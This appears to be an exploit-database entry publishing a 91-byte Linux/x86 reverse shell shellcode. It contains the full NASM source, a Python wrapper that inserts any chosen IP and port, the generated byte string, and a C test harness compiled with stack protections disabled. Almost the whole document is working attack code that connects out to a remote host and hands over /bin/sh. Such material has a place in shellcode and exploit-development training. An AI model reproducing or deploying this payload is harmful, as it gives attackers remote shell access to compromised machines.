# Exploit Title: Linux/x86 - Reverse Shell Shellcode (91 Bytes) + Python Wrapper
# Google Dork: NA
# Date: 2019-05-01
# Exploit Author: Dave Sully
# Vendor Homepage:
# Software Link: NA
# Version: NA
# Tested on: Ubuntu 16.04
# CVE : NA

#######################################################################
#######################################################################

# This is the raw assembly

#######################################################################
#######################################################################

; Filename: reverse_shell.nasm
; Author:  Dave Sully
; Website:  http://suls.co.uk
; Purpose: Reverse shell in x86 assembly

global _start

section .text
_start:

	; Clear everthing we are using
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	xor esi, esi
	xor edi, edi

	; Define structure for socket
	; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here  (127.0.0.1)
	; We have a issue here in that the ip address 127.0.0.1 = 0x0100007f in hex which contains null bytes
	; Easiest way around this is to XOR the value with 0xffffffff
	mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
	xor edi, 0xffffffff
	push edi
	push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3
	push word 0x2 ; push 2  to the stack (AF-INET)

	; Create socket
	; s = socket(AF_INET, SOCK_STREAM, 0)
	mov ax, 0x167 ; Syscall 359 (socket)
	mov bl, 0x2 ; AF-INET (2)
	mov cl, 0x1 ; Sock stream (1)
	; dl should already be zero
	int 0x80 ; call system interupt to create socket
	xchg esi, eax ; socket file descriptor now stored in esi

	; Connect socket
	; connect(s, (struct sockaddr *)&addr, sizeof(addr));
	mov ax, 0x16a ; Syscall 362 connect
	mov ebx, esi ; Move socket file descriptor into ebx
	mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it
	mov dl, 0x10 ; Size of structure (16)
	int 0x80 ; call system interupt to create connect

	; Dup input output and error file descriptors
	; dup2(s, 0); // Dup2 sycall = 63
	xor eax, eax ; Clear eax
	mov ebx, esi ; move socket id to ebx
	xor ecx, ecx ; Clear ecx
	mov cl, 0x2 ; set ecx to 2
loop:
	mov al, 0x3f ; syscall 63
	int 0x80 ; call dup 2
	dec ecx  ; decrease ecx by 1
	jns loop ; jump if not signed back to loop, this should cycle 2,1,0

	; Execute Shell
	; execve("/bin/sh",0 ,0); // Execve syscall = 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx
	push ebx ; push a null string to the stack to terminate our string
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall
	xor edx, edx
	int 0x80

section .data

#######################################################################
#######################################################################

### Compile and link as follows

nasm -f elf32 -o reverse_shell.o reverse_shell.nasm
gcc -o reverse_shell reverse_shell.o


#######################################################################
#######################################################################

### To configure IP and port use the following python3 wrapper script

#######################################################################
#######################################################################


#!/usr/bin/env python3
# File: wrapper.py
# Author: Dave Sully
# Reverse shell wrapper in python3
# Usage: python3 wrapper.py 192.168.1.1 5000

import argparse
import socket
from struct import unpack

print("\n*****************************************")
print("***** Reverse shell wrapper script ******")
print("*****************************************")

# Grab command line args (ip and port)
parser = argparse.ArgumentParser()
parser.add_argument("ip")
parser.add_argument("port")
args = parser.parse_args()
# check port is in a valid range
if ((int(args.port) > 65535) or (int(args.port) < 256)):
    print("\nPort number must be between 256 and 65535\n")
    exit()

# Xor Function
def xor_strings(str1,str2):
    result =  int(str1,16) ^ int(str2,16)
    return '{:x}'.format(result)

# Process IP address
print("\nIP address: "+ args.ip)
# Convert IP to Hex
hexip = socket.inet_aton(args.ip).hex()
print("Hex IP Address: "+hexip)
# Reverse the hex String
revhexip = hexip[6:8]
revhexip = revhexip + hexip[4:6]
revhexip = revhexip + hexip[2:4]
revhexip = revhexip + hexip[0:2]
# Xor the reversed hex address as the shellcode XORs this address to avoid null bytes
xored_ip = xor_strings(revhexip,"FFFFFFFF")
print("XORed reverse hex IP Address: "+ xored_ip)

# Process Port
print("\nPort: "+args.port)
# Convert Port to hex
hexport = hex(int(args.port)).replace('0x','')
if len(hexport)<4:
    hexport = '0'+hexport
print("Hex Port: "+hexport)
revhexport = hexport[2:4]+ hexport[0:2]
print("Reverse Hex Port: "+revhexport)

# Check for null bytes
if (xored_ip[0:2]=="00" or
    xored_ip[2:4]=="00" or
    xored_ip[4:6]=="00" or
    xored_ip[6:8]=="00" or
    revhexport[0:2]=="00" or
    revhexport[2:4]=="00"):
    print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,")
    print("shellcode may not work !\n")

# Construct Shellcode
shellcode= \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \
    "\\x"+ xored_ip[6:8] + \
    "\\x"+ xored_ip[4:6] + \
    "\\x"+ xored_ip[2:4] + \
    "\\x"+ xored_ip[0:2] + \
"\\x83\\xf7\\xff\\x57\\x66\\x68" + \
    "\\x"+ revhexport[2:4] + \
    "\\x"+ revhexport[0:2] + \
"\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \
"\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \
"\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \
"\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
"\\x31\\xc9\\x31\\xd2\\xcd\\x80"
# Output Shellcode
print("\nShellcode (Length 91 Bytes): \n")
print(shellcode+"\n")

#######################################################################
#######################################################################

# Example output

*****************************************
***** Reverse shell wrapper script ******
*****************************************

IP address: 127.0.0.1
Hex IP Address: 7f000001
XORed reverse hex IP Address: feffff80

Port: 8080
Hex Port: 1f90
Reverse Hex Port: 901f

Shellcode (Length 91 Bytes):

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x1f\x90\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80


#######################################################################
#######################################################################

# To compile shellcode from the wrapper script use the following C program
# Replacing the shellcode with the wrapper script shellcode output

#######################################################################
#######################################################################

// Filename: shellcode.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x1f\x90\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

#######################################################################
#######################################################################

# Compile with

gcc -fno-stack-protector -z execstack -o shellcode shellcode.c